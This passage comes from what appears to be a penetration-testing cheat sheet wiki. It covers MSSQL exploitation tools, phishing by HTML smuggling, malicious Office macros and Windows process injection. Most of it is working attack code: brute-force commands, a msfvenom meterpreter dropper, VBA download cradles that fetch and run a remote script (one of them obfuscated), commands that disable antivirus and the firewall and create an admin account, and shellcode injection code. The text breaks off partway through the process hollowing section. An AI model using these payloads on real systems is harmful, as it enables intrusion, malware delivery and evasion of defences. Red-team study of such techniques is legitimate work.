# Execute code using custom assembly on the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll&lt;br /&gt;
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using tickets against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt&lt;br /&gt;
# Bruteforce using passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== [https://github.com/dadevel/mssql-spider mssql-spider] (Great tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dadevel/mssql-spider dadevel/mssql-spider: Automated exploitation of MSSQL servers at scale (github.com)]&lt;br /&gt;
&lt;br /&gt;
This tool is kinda similar to mssqlpwner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Authentication&lt;br /&gt;
# As local database user.&lt;br /&gt;
mssql-spider -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As local windows user.&lt;br /&gt;
mssql-spider -w -u administrator -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM and a password.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM Pass the Hash.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Overpass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Pass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Phishing (Client side code exec) ==&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if MS word is running 64-bit or 32-bit&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== BobTheSmuggler ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/TheCyb3rAlpha/BobTheSmuggler?tab=readme-ov-file TheCyb3rAlpha/BobTheSmuggler: &amp;quot;Bob the Smuggler&amp;quot;: A tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archive and then hides inside PNG/GIF image file format (Image Polyglots). (github.com)]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&amp;quot;Bob the Smuggler&amp;quot;&#039;&#039;&#039; is a tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archieve and then hides inside PNG/GIF image file format (Image Polyglots). The JavaScript embedded within the HTML will download the PNG/GIF file and store it in the cache. Following this, the JavaScript will extract the data embedded in the PNG/GIF, assemble it, perform XOR decryption, and then store it as an in-memory blob.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you want to compress SharpHound.exe into 7z format (password protected) and store it in a HTML file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html&lt;br /&gt;
# To create an HTML file with the embedded payload hidden inside PNG file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t png test.png&lt;br /&gt;
# Embed payload inside GIF File:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t gif test.gif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Zip Sharphound and use OneDrive template.&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Microsoft_Word https://blog.aghanim.net/?page_id=1809#Microsoft_Word]&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Persistence/ Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?page_id=2703#Linux_Post_Explotation CheatSheet II – Advanced – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Disable Anti-virus&lt;br /&gt;
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true&lt;br /&gt;
# Disable firewall&lt;br /&gt;
NetSh Advfirewall set allprofiles state off&lt;br /&gt;
# Enable RDP&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Terminal Server&amp;quot; -name &amp;quot;fDenyTSConnections&amp;quot; -value 0&lt;br /&gt;
&lt;br /&gt;
# Disable restricted mode in order to PTH as authentication on RDP&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Create a new user&lt;br /&gt;
net user username password /ADD&lt;br /&gt;
# This will add the new user to the RDP group and local administratos group&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; username /add&lt;br /&gt;
net localgroup &amp;quot;Administrators&amp;quot; username /add&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PowerShell in VBA ==&lt;br /&gt;
&lt;br /&gt;
=== Download cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim strArg As String&lt;br /&gt;
	strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object&lt;br /&gt;
system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
	Shell strArg, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WMI: Unlinking PowerShell from Office ===&lt;br /&gt;
&lt;br /&gt;
Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word.&lt;br /&gt;
&lt;br /&gt;
Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro&lt;br /&gt;
   strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
   GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Obfuscated version of WMI ===&lt;br /&gt;
&lt;br /&gt;
* First we&#039;ll convert the strings using &#039;&#039;ToCharArray. &#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$payload = &amp;quot;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
[string]$output = &amp;quot;&amp;quot;&lt;br /&gt;
$payload.ToCharArray() | %{&lt;br /&gt;
    [string]$thischar = [byte][char]$_ + 17&lt;br /&gt;
    if($thischar.Length -eq 1)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;00&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 2)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;0&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 3)&lt;br /&gt;
    {&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$output | clip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below is the decryption routine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* So combined together with &amp;lt;code&amp;gt;Unlinking Powershell from Word&amp;lt;/code&amp;gt; code above, we will get this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
    Dim Apples As String&lt;br /&gt;
    Dim Water As String&lt;br /&gt;
    &#039;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&lt;br /&gt;
    Apples = &amp;quot;129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058&amp;quot;&lt;br /&gt;
    Water = Nuts(Apples)&lt;br /&gt;
&#039; GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
            GetObject(Nuts(&amp;quot;136122127126120126133132075&amp;quot;)).Get(Nuts(&amp;quot;104122127068067112097131128116118132132&amp;quot;)).Create Water, Tea, Coffee, Napkin&lt;br /&gt;
End Function&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Injection ==&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Obtain a handle to the target process. Remeber to change the process ID(4804)&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[591]&lt;br /&gt;
            {&lt;br /&gt;
                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,&lt;br /&gt;
                // ... (rest of the shellcode)&lt;br /&gt;
            };&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp - But automatically get process ID ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
	// Automatically obtain process ID&lt;br /&gt;
            Process[] localByName = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            if (localByName.Length == 0)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;No explorer process found.&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            int targetProcessId = localByName[0].Id;&lt;br /&gt;
            // Obtain a handle to the target process&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode]&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$procId = (Get-Process explorer).Id&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE]&lt;br /&gt;
# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);&lt;br /&gt;
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
  (getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)&lt;br /&gt;
# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);&lt;br /&gt;
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)&lt;br /&gt;
# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);&lt;br /&gt;
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)&lt;br /&gt;
# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)&lt;br /&gt;
Write-Host &amp;quot;Injected! Check your listener!&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Hollowing ==&lt;br /&gt;
&lt;br /&gt;
Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection.&lt;br /&gt;
&lt;br /&gt;
=== Stageless XOR&#039;d ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ProcessHollowing&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint CREATE_SUSPENDED = 0x4;&lt;br /&gt;
        public const int PROCESSBASICINFORMATION = 0;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct ProcessInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public Int32 ProcessId;&lt;br /&gt;
            public Int32 ThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct StartupInfo&lt;br /&gt;
        {&lt;br /&gt;
            public uint cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
